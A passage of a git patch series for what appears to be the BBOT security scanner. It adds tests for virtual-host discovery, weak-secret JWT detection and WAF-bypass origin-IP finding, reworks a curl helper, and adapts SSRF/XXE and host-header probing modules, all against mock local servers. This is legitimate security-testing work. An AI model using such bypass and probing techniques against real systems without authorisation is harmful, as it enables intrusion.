e.type == "VIRTUAL_HOST": + vhost = e.data.get("virtual_host") + if vhost == "admin.acme.test": + found_admin = True + if vhost and "www" in vhost: + found_www = True + + assert found_admin, "Expected VIRTUAL_HOST for admin.acme.test was not emitted" + assert not found_www, "No VIRTUAL_HOST should be emitted for 'www' keyword wildcard entries" + + +class TestVirtualhostHTTPResponse(VirtualhostTestBase): + """Test virtual host discovery with badsecrets analysis of HTTP_RESPONSE events""" + + targets = ["http://secrets.test:8888"] + modules_overrides = ["virtualhost", "badsecrets"] + test_wordlist = ["admin"] + config_overrides = { + "modules": { + "virtualhost": { + "brute_wordlist": tempwordlist(test_wordlist), + "subdomain_brute": True, + "mutation_check": False, + "special_hosts": False, + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + async def setup_after_prep(self, module_test): + # Call parent setup_after_prep to set up the HTTP server with request_handler + await super().setup_after_prep(module_test) + + # Set up DNS mocking for secrets.test to resolve to 127.0.0.1 + await module_test.mock_dns({"secrets.test": {"A": ["127.0.0.1"]}}) + + # Create a dummy module that will emit the URL event during the scan + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_secrets" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + # Create and emit URL event for virtualhost module to process + url_event = self.scan.make_event( + "http://secrets.test:8888/", "URL", parent=event, tags=["status-200", "ip-127.0.0.1"] + ) + await self.emit_event(url_event) + + # Add the dummy module to the scan + dummy_module = DummyModule(module_test.scan) + module_test.scan.modules["dummy_module_secrets"] = dummy_module + + # Patch virtualhost to inject resolved_hosts for URL events during the test + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + from werkzeug.wrappers import Response + + host_header = request.headers.get("Host", "").lower() + + # Baseline request to secrets.test (with or without port) + if not host_header or host_header in ["secrets.test", "secrets.test:8888"]: + return Response("baseline response from secrets.test", status=200) + + # Wildcard canary check - change one character in secrets.test + if re.match(r"[a-z]ecrets\.test", host_header): + return Response("wildcard canary different response", status=404) + + # Brute-force canary requests - random string + .secrets.test (with optional port) + if re.match(r"^[a-z]{12}\.secrets\.test(?::8888)?$", host_header): + return Response("subdomain canary response", status=404) + + # Virtual host with vulnerable JWT cookie and JWT in body - both using weak secret '1234' - this should trigger badsecrets twice + if host_header in ["admin.secrets.test", "admin.secrets.test:8888"]: + return Response( + "

Admin Panel

", + status=200, + headers={ + "set-cookie": "vulnjwt=eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo; secure" + }, + ) + + # Default response + return Response("default response", status=404) + + def check(self, module_test, events): + virtual_host_found = False + http_response_found = False + jwt_cookie_vuln_found = False + jwt_body_vuln_found = False + + # Debug: print all events to see what we're getting + print(f"\n=== DEBUG: Found {len(events)} events ===") + for e in events: + print(f"Event: {e.type} - {e.data}") + if hasattr(e, "tags"): + print(f" Tags: {e.tags}") + + for e in events: + # Check for virtual host discovery + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["admin.secrets.test"]: + virtual_host_found = True + # Verify it has the virtual-host tag + assert "virtual-host" in e.tags, f"VIRTUAL_HOST event missing virtual-host tag: {e.tags}" + + # Check for HTTP_RESPONSE with virtual-host tag + elif e.type == "HTTP_RESPONSE": + if "virtual-host" in e.tags: + http_response_found = True + # Verify the HTTP_RESPONSE has the expected format + assert "input" in e.data, f"HTTP_RESPONSE missing input field: {e.data}" + assert e.data["input"] == "admin.secrets.test", f"HTTP_RESPONSE input mismatch: {e.data['input']}" + assert "status_code" in e.data, f"HTTP_RESPONSE missing status_code: {e.data}" + assert e.data["status_code"] == 200, f"HTTP_RESPONSE status_code mismatch: {e.data['status_code']}" + # Debug: print the response data to see what badsecrets is analyzing + print(f"HTTP_RESPONSE data: {e.data}") + + # Check for badsecrets vulnerability findings + elif e.type == "VULNERABILITY": + print(f"Found VULNERABILITY event: {e.data}") + description = e.data["description"] + + # Check for JWT vulnerability (from cookie) + if ( + "1234" in description + and "eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo" + in description + and "JWT" in description + ): + jwt_cookie_vuln_found = True + + # Check for JWT vulnerability (from body) + if ( + "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.03xPSXavrMk0HK4BD3_hPKgu3RLu6CmTSPGfrDx2qpg" + in description + and "JWT" in description + ): + jwt_body_vuln_found = True + + assert virtual_host_found, "Failed to detect virtual host admin.secrets.test" + assert http_response_found, "Failed to detect HTTP_RESPONSE event with virtual-host tag" + assert jwt_cookie_vuln_found, ( + "Failed to detect JWT vulnerability - JWT with weak secret '1234' should have been found" + ) + assert jwt_body_vuln_found, ( + "Failed to detect JWT vulnerability in body - JWT 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.03xPSXavrMk0HK4BD3_hPKgu3RLu6CmTSPGfrDx2qpg' should have been found" + ) + print( + f"Test results: virtual_host_found={virtual_host_found}, http_response_found={http_response_found}, jwt_cookie_vuln_found={jwt_cookie_vuln_found}, jwt_body_vuln_found={jwt_body_vuln_found}" + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py new file mode 100644 index 0000000000..da812633bb --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py @@ -0,0 +1,133 @@ +from .base import ModuleTestBase +from bbot.modules.base import BaseModule +import json + + +class TestWAFBypass(ModuleTestBase): + targets = ["protected.test", "direct.test"] + module_name = "waf_bypass" + modules_overrides = ["waf_bypass", "httpx"] + config_overrides = { + "scope": {"report_distance": 2}, + "modules": {"waf_bypass": {"search_ip_neighbors": True, "neighbor_cidr": 30}}, + } + + PROTECTED_IP = "127.0.0.129" + DIRECT_IP = "127.0.0.2" + + api_response_direct = { + "asn": 15169, + "subnets": ["127.0.0.0/25"], + "asn_name": "ACME-ORG", + "org": "ACME-ORG", + "country": "US", + } + + api_response_cloudflare = { + "asn": 13335, + "asn_name": "CLOUDFLARENET", + "country": "US", + "ip": "127.0.0.129", + "org": "Cloudflare, Inc.", + "rir": "ARIN", + "subnets": ["127.0.0.128/25"], + } + + class DummyModule(BaseModule): + watched_events = ["DNS_NAME"] + _name = "dummy_module" + events_seen = [] + + async def handle_event(self, event): + if event.data == "protected.test": + await self.helpers.sleep(0.5) + self.events_seen.append(event.data) + url = "http://protected.test:8888/" + url_event = self.scan.make_event( + url, "URL", parent=self.scan.root_event, tags=["cdn-cloudflare", "in-scope", "status-200"] + ) + if url_event is not None: + await self.emit_event(url_event) + + elif event.data == "direct.test": + await self.helpers.sleep(0.5) + self.events_seen.append(event.data) + url = "http://direct.test:8888/" + url_event = self.scan.make_event( + url, "URL", parent=self.scan.root_event, tags=["in-scope", "status-200"] + ) + if url_event is not None: + await self.emit_event(url_event) + + async def setup_after_prep(self, module_test): + from bbot.core.helpers.asn import ASNHelper + + await module_test.mock_dns( + { + "protected.test": {"A": [self.PROTECTED_IP]}, + "direct.test": {"A": [self.DIRECT_IP]}, + "": {"A": []}, + } + ) + + self.module_test = module_test + + self.dummy_module = self.DummyModule(module_test.scan) + module_test.scan.modules["dummy_module"] = self.dummy_module + + module_test.monkeypatch.setattr(ASNHelper, "asndb_ip_url", "http://127.0.0.1:8888/v1/ip/") + + expect_args = {"method": "GET", "uri": "/v1/ip/127.0.0.2"} + respond_args = { + "response_data": json.dumps(self.api_response_direct), + "status": 200, + "content_type": "application/json", + } + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + + expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "protected.test"}} + respond_args = {"status": 200, "response_data": "HELLO THERE!"} + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + + # Patch WAF bypass get_url_content to control similarity outcome + waf_module = module_test.scan.modules["waf_bypass"] + + async def fake_get_url_content(self_waf, url, ip=None): + if "protected.test" in url and (ip == None or ip == "127.0.0.1"): + return {"response_data": "PROTECTED CONTENT!", "http_code": 200} + else: + return {"response_data": "ERROR!", "http_code": 404} + + import types + + module_test.monkeypatch.setattr( + waf_module, + "get_url_content", + types.MethodType(fake_get_url_content, waf_module), + raising=True, + ) + + # 7. Monkeypatch tldextract so base_domain is never empty + def fake_tldextract(domain): + import types as _t + + return _t.SimpleNamespace(top_domain_under_public_suffix=domain) + + module_test.monkeypatch.setattr( + waf_module.helpers, + "tldextract", + fake_tldextract, + raising=True, + ) + + def check(self, module_test, events): + waf_bypass_events = [e for e in events if e.type == "VULNERABILITY"] + assert waf_bypass_events, "No VULNERABILITY event produced" + + correct_description = [ + e + for e in waf_bypass_events + if "WAF Bypass Confirmed - Direct IPs: 127.0.0.1 for http://protected.test:8888/. Similarity 100.00%" + in e.data["description"] + ] + assert correct_description, "Incorrect description" From 5f49ae35718e0c6987fa290d75cfa8e51a8cd102 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 14:47:41 -0400 Subject: [PATCH 106/129] Restore virtualhost/WAF bypass modules and revert web helpers to pre-removal state This restores: - New modules: virtualhost.py, waf_bypass.py and their tests - New presets: waf-bypass.yml, virtualhost-heavy.yml, virtualhost-light.yml - Modified files: web.py, shared_deps.py, generic_ssrf.py, host_header.py, web_report.py, test_module_generic_ssrf.py All restored from commit before the temporary removal. --- bbot/core/helpers/web/web.py | 134 ++++++++++++++++-- bbot/core/shared_deps.py | 25 ++++ bbot/modules/generic_ssrf.py | 8 +- bbot/modules/host_header.py | 11 +- bbot/modules/output/web_report.py | 2 +- .../module_tests/test_module_generic_ssrf.py | 15 +- 6 files changed, 173 insertions(+), 22 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 5e86424049..d0ec79f4c0 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -1,7 +1,10 @@ +import json import logging +import re import warnings from pathlib import Path from bs4 import BeautifulSoup +import ipaddress from bbot.core.engine import EngineClient from bbot.core.helpers.misc import truncate_filename @@ -319,12 +322,12 @@ async def curl(self, *args, **kwargs): method (str, optional): The HTTP method to use for the request (e.g., 'GET', 'POST'). cookies (dict, optional): A dictionary of cookies to include in the request. path_override (str, optional): Overrides the request-target to use in the HTTP request line. - head_mode (bool, optional): If True, includes '-I' to fetch headers only. Defaults to None. raw_body (str, optional): Raw string to be sent in the body of the request. + resolve (dict, optional): Host resolution override as dict with 'host', 'port', 'ip' keys for curl --resolve. **kwargs: Arbitrary keyword arguments that will be forwarded to the HTTP request function. Returns: - str: The output of the cURL command. + dict: JSON object with response data and metadata. Raises: CurlError: If 'url' is not supplied. @@ -338,7 +341,11 @@ async def curl(self, *args, **kwargs): if not url: raise CurlError("No URL supplied to CURL helper") - curl_command = ["curl", url, "-s"] + # Use BBOT-specific curl binary + bbot_curl = self.parent_helper.tools_dir / "curl" + if not bbot_curl.exists(): + raise CurlError(f"BBOT curl binary not found at {bbot_curl}. Run dependency installation.") + curl_command = [str(bbot_curl), url, "-s"] raw_path = kwargs.get("raw_path", False) if raw_path: @@ -382,6 +389,12 @@ async def curl(self, *args, **kwargs): curl_command.append("-m") curl_command.append(str(timeout)) + # mirror the web helper behavior + retries = self.parent_helper.web_config.get("http_retries", 1) + if retries > 0: + curl_command.extend(["--retry", str(retries)]) + curl_command.append("--retry-all-errors") + for k, v in headers.items(): if isinstance(v, list): for x in v: @@ -418,17 +431,120 @@ async def curl(self, *args, **kwargs): curl_command.append("--request-target") curl_command.append(f"{path_override}") - head_mode = kwargs.get("head_mode", None) - if head_mode: - curl_command.append("-I") - raw_body = kwargs.get("raw_body", None) if raw_body: curl_command.append("-d") curl_command.append(raw_body) - log.verbose(f"Running curl command: {curl_command}") + + # --resolve :: + resolve_dict = kwargs.get("resolve", None) + + if resolve_dict is not None: + # Validate "resolve" is a dict + if not isinstance(resolve_dict, dict): + raise CurlError("'resolve' must be a dictionary containing 'host', 'port', and 'ip' keys") + + # Extract and validate IP (required) + ip = resolve_dict.get("ip") + if not ip: + raise CurlError("'resolve' dictionary requires an 'ip' value") + try: + ipaddress.ip_address(ip) + except ValueError: + raise CurlError(f"Invalid IP address supplied to 'resolve': {ip}") + + # Host, port, and ip must ALL be supplied explicitly + host = resolve_dict.get("host") + if not host: + raise CurlError("'resolve' dictionary requires a 'host' value") + + if "port" not in resolve_dict: + raise CurlError("'resolve' dictionary requires a 'port' value") + port = resolve_dict["port"] + + try: + port = int(port) + except (TypeError, ValueError): + raise CurlError("'port' supplied to resolve must be an integer") + if port < 1 or port > 65535: + raise CurlError("'port' supplied to resolve must be between 1 and 65535") + + # Append the --resolve directive + curl_command.append("--resolve") + curl_command.append(f"{host}:{port}:{ip}") + + # Always add JSON --write-out format with separator and capture headers + curl_command.extend(["-D", "-", "-w", "\\n---CURL_METADATA---\\n%{json}"]) + + log.debug(f"Running curl command: {curl_command}") output = (await self.parent_helper.run(curl_command)).stdout - return output + + # Parse the output to separate headers, content, and metadata + parts = output.split("\n---CURL_METADATA---\n") + + # Raise CurlError if separator not found - this indicates a problem with our curl implementation + if len(parts) < 2: + raise CurlError(f"Curl output missing expected separator. Got: {output[:200]}...") + + # Headers and content are in the first part, JSON metadata is in the last part + header_content = parts[0] + json_data = parts[-1].strip() + + # Split headers from content + header_lines = [] + content_lines = [] + in_headers = True + + for line in header_content.split("\n"): + if in_headers: + if line.strip() == "": + in_headers = False + else: + header_lines.append(line) + else: + content_lines.append(line) + + # Parse headers into dictionary + headers_dict = {} + raw_headers = "\n".join(header_lines) + + for line in header_lines: + if ":" in line: + key, value = line.split(":", 1) + key = key.strip().lower() + value = value.strip() + + # Convert hyphens to underscores to match httpx (projectdiscovery) format + # This ensures consistency with how other modules expect headers + normalized_key = key.replace("-", "_") + + if normalized_key in headers_dict: + if isinstance(headers_dict[normalized_key], list): + headers_dict[normalized_key].append(value) + else: + headers_dict[normalized_key] = [headers_dict[normalized_key], value] + else: + headers_dict[normalized_key] = value + + response_data = "\n".join(content_lines) + + # Raise CurlError if JSON parsing fails - this indicates a problem with curl's %{json} output + try: + metadata = json.loads(json_data) + except json.JSONDecodeError as e: + # Try to fix common malformed JSON issues from curl output + try: + # Fix empty values like "certs":, -> "certs":null, + fixed_json = re.sub(r':"?\s*,', ":null,", json_data) + # Fix trailing commas before closing braces + fixed_json = re.sub(r",\s*}", "}", fixed_json) + metadata = json.loads(fixed_json) + log.debug(f"Fixed malformed JSON from curl: {json_data[:100]}... -> {fixed_json[:100]}...") + except json.JSONDecodeError: + raise CurlError(f"Failed to parse curl JSON metadata: {e}. JSON data: {json_data[:200]}...") + + # Combine into final JSON structure + return {"response_data": response_data, "headers": headers_dict, "raw_headers": raw_headers, **metadata} def beautifulsoup( self, diff --git a/bbot/core/shared_deps.py b/bbot/core/shared_deps.py index 013a8b4d67..eaf62b738d 100644 --- a/bbot/core/shared_deps.py +++ b/bbot/core/shared_deps.py @@ -173,6 +173,31 @@ }, ] +DEP_CURL = [ + { + "name": "Download static curl binary (v8.11.0)", + "get_url": { + "url": "https://github.com/moparisthebest/static-curl/releases/download/v8.11.0/curl-amd64", + "dest": "#{BBOT_TOOLS}/curl", + "mode": "0755", + "force": True, + }, + }, + { + "name": "Ensure curl binary is executable", + "file": { + "path": "#{BBOT_TOOLS}/curl", + "mode": "0755", + }, + }, + { + "name": "Verify curl binary works", + "command": "#{BBOT_TOOLS}/curl --version", + "register": "curl_version_output", + "changed_when": False, + }, +] + DEP_MASSCAN = [ { "name": "install os deps (Debian)", diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py index 6ccde510b9..3eb3202f9f 100644 --- a/bbot/modules/generic_ssrf.py +++ b/bbot/modules/generic_ssrf.py @@ -39,6 +39,8 @@ class BaseSubmodule: severity = "INFO" paths = [] + deps_common = ["curl"] + def __init__(self, generic_ssrf): self.generic_ssrf = generic_ssrf self.test_paths = self.create_paths() @@ -61,7 +63,7 @@ async def test(self, event): self.generic_ssrf.debug(f"Sending request to URL: {test_url}") r = await self.generic_ssrf.helpers.curl(url=test_url) if r: - self.process(event, r, subdomain_tag) + self.process(event, r["response_data"], subdomain_tag) def process(self, event, r, subdomain_tag): response_token = self.generic_ssrf.interactsh_domain.split(".")[0][::-1] @@ -123,7 +125,7 @@ async def test(self, event): for tag, pd in post_data_list: r = await self.generic_ssrf.helpers.curl(url=test_url, method="POST", post_data=pd) - self.process(event, r, tag) + self.process(event, r["response_data"], tag) class Generic_XXE(BaseSubmodule): @@ -146,7 +148,7 @@ async def test(self, event): url=test_url, method="POST", raw_body=post_body, headers={"Content-type": "application/xml"} ) if r: - self.process(event, r, subdomain_tag) + self.process(event, r["response_data"], subdomain_tag) class generic_ssrf(BaseModule): diff --git a/bbot/modules/host_header.py b/bbot/modules/host_header.py index a60967b8b4..2dd77b2a09 100644 --- a/bbot/modules/host_header.py +++ b/bbot/modules/host_header.py @@ -15,7 +15,7 @@ class host_header(BaseModule): in_scope_only = True per_hostport_only = True - deps_apt = ["curl"] + deps_common = ["curl"] async def setup(self): self.subdomain_tags = {} @@ -106,7 +106,7 @@ async def handle_event(self, event): ignore_bbot_global_settings=True, cookies=added_cookies, ) - if self.domain in output: + if self.domain in output["response_data"]: domain_reflections.append(technique_description) # absolute URL / Host header transposition @@ -120,7 +120,7 @@ async def handle_event(self, event): cookies=added_cookies, ) - if self.domain in output: + if self.domain in output["response_data"]: domain_reflections.append(technique_description) # duplicate host header tolerance @@ -131,10 +131,9 @@ async def handle_event(self, event): # The fact that it's accepting two host headers is rare enough to note on its own, and not too noisy. Having the 3rd header be an interactsh would result in false negatives for the slightly less interesting cases. headers={"Host": ["", str(event.host), str(event.host)]}, cookies=added_cookies, - head_mode=True, ) - split_output = output.split("\n") + split_output = output["raw_headers"].split("\n") if " 4" in split_output: description = "Duplicate Host Header Tolerated" await self.emit_event( @@ -173,7 +172,7 @@ async def handle_event(self, event): headers=override_headers, cookies=added_cookies, ) - if self.domain in output: + if self.domain in output["response_data"]: domain_reflections.append(technique_description) # emit all the domain reflections we found diff --git a/bbot/modules/output/web_report.py b/bbot/modules/output/web_report.py index eb1aee5e52..69e307f002 100644 --- a/bbot/modules/output/web_report.py +++ b/bbot/modules/output/web_report.py @@ -4,7 +4,7 @@ class web_report(BaseOutputModule): - watched_events = ["URL", "TECHNOLOGY", "FINDING", "VULNERABILITY"] + watched_events = ["URL", "TECHNOLOGY", "FINDING", "VULNERABILITY", "VIRTUAL_HOST"] meta = { "description": "Create a markdown report with web assets", "created_date": "2023-02-08", diff --git a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py index c0911fd661..23e6c7c731 100644 --- a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py +++ b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py @@ -15,6 +15,9 @@ def extract_subdomain_tag(data): class TestGeneric_SSRF(ModuleTestBase): targets = ["http://127.0.0.1:8888"] modules_overrides = ["httpx", "generic_ssrf"] + config_overrides = { + "interactsh_disable": False, + } def request_handler(self, request): subdomain_tag = None @@ -34,9 +37,15 @@ def request_handler(self, request): async def setup_before_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("generic_ssrf") - module_test.monkeypatch.setattr( - module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance - ) + + # Mock at the helper creation level BEFORE modules are set up + def mock_interactsh_factory(*args, **kwargs): + return self.interactsh_mock_instance + + # Apply the mock to the core helpers so modules get the mock during setup + from bbot.core.helpers.helper import ConfigAwareHelper + + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) async def setup_after_prep(self, module_test): expect_args = re.compile("/") From 56f5d53e4ceb35812d1feb9db1398dad13b59219 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 14:49:31 -0400 Subject: [PATCH 107/129] ruff format --- bbot/core/event/base.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index fb86e84c46..bf02503438 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1638,6 +1638,7 @@ def _data_id(self): def _pretty_string(self): return self.data["technology"] + class PROTOCOL(DictHostEvent): class _data_validator(BaseModel): host: str From 1740a28ec9bb9f13f6a2dc8a42811b356e64db89 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 15:03:45 -0400 Subject: [PATCH 108/129] temporarily revert --- bbot/test/test_step_1/test_web.py | 67 ++++++++----------------------- 1 file changed, 17 insertions(+), 50 deletions(-) diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 8d154d6047..dd526167bb 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -354,63 +354,30 @@ async def test_web_curl(bbot_scanner, bbot_httpserver): url = bbot_httpserver.url_for("/curl") bbot_httpserver.expect_request(uri="/curl").respond_with_data("curl_yep") bbot_httpserver.expect_request(uri="/index.html").respond_with_data("curl_yep_index") - - # Original tests - keep these working exactly as before - result1 = await helpers.curl(url=url) - assert result1["response_data"] == "curl_yep" - - result2 = await helpers.curl(url=url, ignore_bbot_global_settings=True) - assert result2["response_data"] == "curl_yep" - - result3 = await helpers.curl(url=url) - assert result3["response_data"] == "curl_yep" - - result4 = await helpers.curl(url=url, raw_body="body") - assert result4["response_data"] == "curl_yep" - - result5 = await helpers.curl( - url=url, - raw_path=True, - headers={"test": "test", "test2": ["test2"]}, - ignore_bbot_global_settings=False, - post_data={"test": "test"}, - method="POST", - cookies={"test": "test"}, - path_override="/index.html", + assert await helpers.curl(url=url) == "curl_yep" + assert await helpers.curl(url=url, ignore_bbot_global_settings=True) == "curl_yep" + assert (await helpers.curl(url=url, head_mode=True)).startswith("HTTP/") + assert await helpers.curl(url=url, raw_body="body") == "curl_yep" + assert ( + await helpers.curl( + url=url, + raw_path=True, + headers={"test": "test", "test2": ["test2"]}, + ignore_bbot_global_settings=False, + post_data={"test": "test"}, + method="POST", + cookies={"test": "test"}, + path_override="/index.html", + ) + == "curl_yep_index" ) - assert result5["response_data"] == "curl_yep_index" - # test custom headers bbot_httpserver.expect_request("/test-custom-http-headers-curl", headers={"test": "header"}).respond_with_data( "curl_yep_headers" ) headers_url = bbot_httpserver.url_for("/test-custom-http-headers-curl") curl_result = await helpers.curl(url=headers_url) - assert curl_result["response_data"] == "curl_yep_headers" - - # NEW: Test metadata fields are present and valid - assert "http_code" in curl_result - assert curl_result["http_code"] == 200 - assert "url_effective" in curl_result - assert "content_type" in curl_result - assert "size_download" in curl_result - assert "time_total" in curl_result - assert "speed_download" in curl_result - - # NEW: Test metadata types and ranges - assert isinstance(curl_result["http_code"], int) - assert isinstance(curl_result["size_download"], (int, float)) - assert isinstance(curl_result["time_total"], (int, float)) - assert isinstance(curl_result["speed_download"], (int, float)) - assert curl_result["size_download"] >= 0 - assert curl_result["time_total"] >= 0 - - # NEW: Test that all results have consistent metadata structure - for result in [result1, result2, result3, result4, result5, curl_result]: - assert "response_data" in result - assert "http_code" in result - assert "url_effective" in result - assert isinstance(result, dict) + assert curl_result == "curl_yep_headers" await scan._cleanup() From a7ce13acd7d9df2c5c5ba19314893cb225b752e5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 15:12:48 -0400 Subject: [PATCH 109/129] just fixing stuff --- bbot/core/helpers/validators.py | 2 +- bbot/test/test_step_1/test_web.py | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/bbot/core/helpers/validators.py b/bbot/core/helpers/validators.py index 97a39fae3c..225542d1e8 100644 --- a/bbot/core/helpers/validators.py +++ b/bbot/core/helpers/validators.py @@ -132,7 +132,7 @@ def validate_host(host: Union[str, ipaddress.IPv4Address, ipaddress.IPv6Address] @validator def validate_severity(severity: str): severity = str(severity).strip().upper() - if severity not in ("UNKNOWN", "INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"): + if severity not in ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL"): raise ValueError(f"Invalid severity: {severity}") return severity diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 8d154d6047..22a2c4d96f 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -355,7 +355,6 @@ async def test_web_curl(bbot_scanner, bbot_httpserver): bbot_httpserver.expect_request(uri="/curl").respond_with_data("curl_yep") bbot_httpserver.expect_request(uri="/index.html").respond_with_data("curl_yep_index") - # Original tests - keep these working exactly as before result1 = await helpers.curl(url=url) assert result1["response_data"] == "curl_yep" From 04206e21d06bed496d1775b725a9be3773e1a02d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 15:41:04 -0400 Subject: [PATCH 110/129] fix test again --- .../test/test_step_2/module_tests/test_module_generic_ssrf.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py index c0911fd661..65b61d1290 100644 --- a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py +++ b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py @@ -32,13 +32,11 @@ def request_handler(self, request): return Response("alive", status=200) - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("generic_ssrf") module_test.monkeypatch.setattr( module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance ) - - async def setup_after_prep(self, module_test): expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) From a94ca10ca4dcd688f887c1335e32ff99a6279788 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 15:54:16 -0400 Subject: [PATCH 111/129] oops --- bbot/core/helpers/validators.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/core/helpers/validators.py b/bbot/core/helpers/validators.py index 225542d1e8..97a39fae3c 100644 --- a/bbot/core/helpers/validators.py +++ b/bbot/core/helpers/validators.py @@ -132,7 +132,7 @@ def validate_host(host: Union[str, ipaddress.IPv4Address, ipaddress.IPv6Address] @validator def validate_severity(severity: str): severity = str(severity).strip().upper() - if severity not in ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL"): + if severity not in ("UNKNOWN", "INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"): raise ValueError(f"Invalid severity: {severity}") return severity From 96658b6617ab5127ab6f8e00d0bf9b4621254766 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 16:55:45 -0400 Subject: [PATCH 112/129] fixing test --- .../module_tests/test_module_generic_ssrf.py | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py index 65b61d1290..23e6c7c731 100644 --- a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py +++ b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py @@ -15,6 +15,9 @@ def extract_subdomain_tag(data): class TestGeneric_SSRF(ModuleTestBase): targets = ["http://127.0.0.1:8888"] modules_overrides = ["httpx", "generic_ssrf"] + config_overrides = { + "interactsh_disable": False, + } def request_handler(self, request): subdomain_tag = None @@ -32,11 +35,19 @@ def request_handler(self, request): return Response("alive", status=200) - async def setup_after_prep(self, module_test): + async def setup_before_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("generic_ssrf") - module_test.monkeypatch.setattr( - module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance - ) + + # Mock at the helper creation level BEFORE modules are set up + def mock_interactsh_factory(*args, **kwargs): + return self.interactsh_mock_instance + + # Apply the mock to the core helpers so modules get the mock during setup + from bbot.core.helpers.helper import ConfigAwareHelper + + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) + + async def setup_after_prep(self, module_test): expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) From 6ce1295864adb9e1feb0db9340a70bf2f7832823 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 16:57:34 -0400 Subject: [PATCH 113/129] temp removal --- bbot/modules/generic_ssrf.py | 262 ------------------ .../module_tests/test_module_generic_ssrf.py | 97 ------- 2 files changed, 359 deletions(-) 